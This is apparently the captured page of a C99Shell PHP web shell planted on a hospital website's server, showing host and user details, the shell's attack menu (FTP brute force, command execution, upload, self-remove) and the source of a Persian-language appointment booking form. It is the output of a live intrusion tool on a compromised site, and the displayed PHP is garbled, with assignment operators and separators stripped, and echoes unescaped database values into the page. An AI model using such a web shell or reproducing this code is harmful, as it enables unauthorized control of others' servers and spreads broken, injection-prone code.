!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/home/katebhospital/public_html/   drwxr-x---
Free 984.23 GB of 3519.75 GB (27.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     appoinment_fa.php (9.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
include "admin/conn.php";
 
// site fetch settings
 
$settings mysqli_query($con,"SELECT * FROM settings");
 
$setting  mysqli_fetch_array($settings);
 
// fetch department settings
$depart mysqli_query($con,"SELECT * FROM department");
$depa  mysqli_fetch_array($depart);
$query "SELECT * FROM department";
$result mysqli_query($con$query);
$departments = array();
if (
$result) {
    while (
$row mysqli_fetch_assoc($result)) {
        
$department = array(
            
'id' => $row['id'],
            
'd_name_fa' => $row['d_name_fa']
        );
        
$departments[] = $department;
    }
    
mysqli_free_result($result);
}
$query1 "SELECT * FROM schedule";
$result1 mysqli_query($con$query1);
$doctor1 = array();
if (
$result1) {
    while (
$row1 mysqli_fetch_assoc($result1)) {
        
$doctor = array(
            
'id' => $row1['id'],
            
'd_name' => $row1['d_name'],
            
'date_start_fa' => $row1['date_start_fa'],
            
'date_end_fa' => $row1['date_end_fa'],
            
'status' => $row1['status'// Add the 'status' field
        
);
        
$doctor1[] = $doctor;
    }
    
mysqli_free_result($result1);
}

mysqli_close($con);
?>
<!DOCTYPE html>
<html lang="fa">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title> <?php echo $setting['site_name_fa'?></title>
  <link rel="icon" href="assets/img/favicon.png">
  <link rel="stylesheet" href="assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="assets/css/cube-portfolio.min.css">
    <link rel="stylesheet" href="assets/css/owl.carousel.min.css">
    <link rel="stylesheet" href="assets/css/slicknav.min.css">
    <link rel="stylesheet" href="assets/css/maginific-popup.min.css">
    <link rel="stylesheet" href="assets/css/animate.min.css">
    <link rel="stylesheet" href="assets/css/nice-select.css">
    <link rel="stylesheet" href="assets/css/datepicker.css">
    <link rel="stylesheet" href="assets/css/fontawesome.min.css">
    <link rel="stylesheet" href="assets/css/icofont.css">
    <link rel="stylesheet" href="assets/css/default.css">
    <link rel="stylesheet" href="assets/css/style.css">
    <link rel="stylesheet" href="assets/css/responsive.css">
    <link rel="stylesheet" href="assets/css/custom-css.css">
</head>
<body>
  <?php include('header_fa.php')?>
  <section class="breadcrumbs" style="background-image:url(assets/img/2.png)">
        <div class="container">
            <div class="row">

                <div class="col-lg-6 offset-lg-3 col-12">
                    <div class="breadcrumb-content">
                        <h4>گرفتن وقت ملاقات</h4>
                        <ul class="breadcrumb-menu">
                            <li><a href="index_fa.php">خانه</a><i class="far fa-angle-double-right"></i></li>
                            <li><a href="#">گرفتن وقت ملاقات</a></li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </section>
    <section class="appoinment-area"  style="background-image:url('assets/img/4.png')">
        <div class="container">
            <div class="row">
                <div class="col-lg-8 offset-lg-2 col-md-10 offset-md-1 col-12 wow fadeInUp" data-wow-delay="0.2s">
                <form action="appo.php" method="POST" dir="rtl">
    <div class="appoinment-inner">
        <div class="appoinment-title">
            <h3>گرفتن وقت ملاقات</h3>
            <p>با استفاده از سرویس رزرو آسان ما می‌توانید وقت ملاقات خود را زمان‌بندی کنید</p>
        </div>
        <div class="row">
            <div class="col-lg-6 col-12">
                <div class="form-group">
                    <input type="text" id="name" name="name" placeholder="نام" required="required">
                </div>
            </div>
            <div class="col-lg-6 col-12">
                <div class="form-group">
                    <input type="email" id="email" name="email" placeholder="ایمیل" required="required">
                </div>
            </div>
            <div class="col-lg-6 col-12">
                <div class="form-group">
                    <input type="text" id="phone" name="phone" placeholder="تلفن" required="required">
                </div>
            </div>
            <div class="col-lg-6 col-12">
                <div class="form-group">
                    <select name="department">
                        <option value="" selected disabled>انتخاب بخش</option>
                        <?php
                        
foreach ($departments as $department) {
                            
$departmentId $department['id'];
                            
$departmentName $department['d_name_fa'];
                            echo 
'<option value="' $departmentName '">' $departmentName '</option>';
                        }
                        
?>
                    </select>
                </div>
            </div>
            <div class="col-lg-6 col-12">
            <div class="form-group">
                                    <select name="doctor_name" id="doctor_name">
                                        <option value="" selected disabled>انتخاب داکتر</option>
                                        <?php
                                        
foreach ($doctor1 as $doctor) {
                                            if (
$doctor['status'] !== 'not-available') {
                                                echo 
'<option value="' $doctor['d_name'] . '">' $doctor['d_name'] . '</option>';
                                            }
                                        }
                                        
?>
                                    </select>
                                </div>
                            </div>
            </div>
            <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
            <script>
                                $(document).ready(function() {
                                    $('#doctor_name').on('change', function() {
                                        var doctorName = $(this).val();
                                        var from_date = '';
                                        var to_date = '';
                                        <?php foreach ($doctor1 as $doctor) { ?>
                                            if ('<?php echo $doctor['d_name']; ?>' === doctorName) {
                                                from_date = '<?php echo $doctor['date_start_fa']; ?>';
                                                to_date = '<?php echo $doctor['date_end_fa']; ?>';
                                            }
                                        <?php ?>
                                        var current_date = new Date(from_date);
                                        var end_date = new Date(to_date);
                                        var dropdownHtml = '<select name="date">';
                                        while (current_date <= end_date) {
                                            var formatted_date = current_date.toLocaleDateString('en-GB', { day: 'numeric', month: 'numeric', year: 'numeric' });
                                            dropdownHtml += '<option value="' + formatted_date + '">' + formatted_date + '</option>';
                                            current_date.setDate(current_date.getDate() + 1);
                                        }
                                        dropdownHtml += '</select>';
                                        $('#availableDates').html(dropdownHtml);
                                    });
                                });

                            </script>
<div class="col-lg-6 col-12">
    <div class="form-group">
        <label for="date">انتخاب تاریخ</label>
        <div id="availableDates">
        </div>
    </div>
</div>
            <div class="col-lg-6 col-12">
                <div class="form-group">
                    <input type="time" id="time" name="time" placeholder="زمان ترجیحی" id="datepicker">
                </div>
            </div>
            <div class="col-12">
                <div class="form-group">
                    <textarea name="appo_message" id="appo_message" placeholder="پیام خود را در اینجا بنویسید..."></textarea>
                </div>
            </div>
            <div class="col-12">
                <div class="contact-btn">
                    <input type="submit" name="submit" value="ثبت">
                </div>
            </div>
            <input type="hidden" name="appo_fa" value="fa">
        </div>
    </div>
</form>
                </div>
            </div>
        </div>
    </section>
    <?php include('footer_fa.php'?>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.004 ]--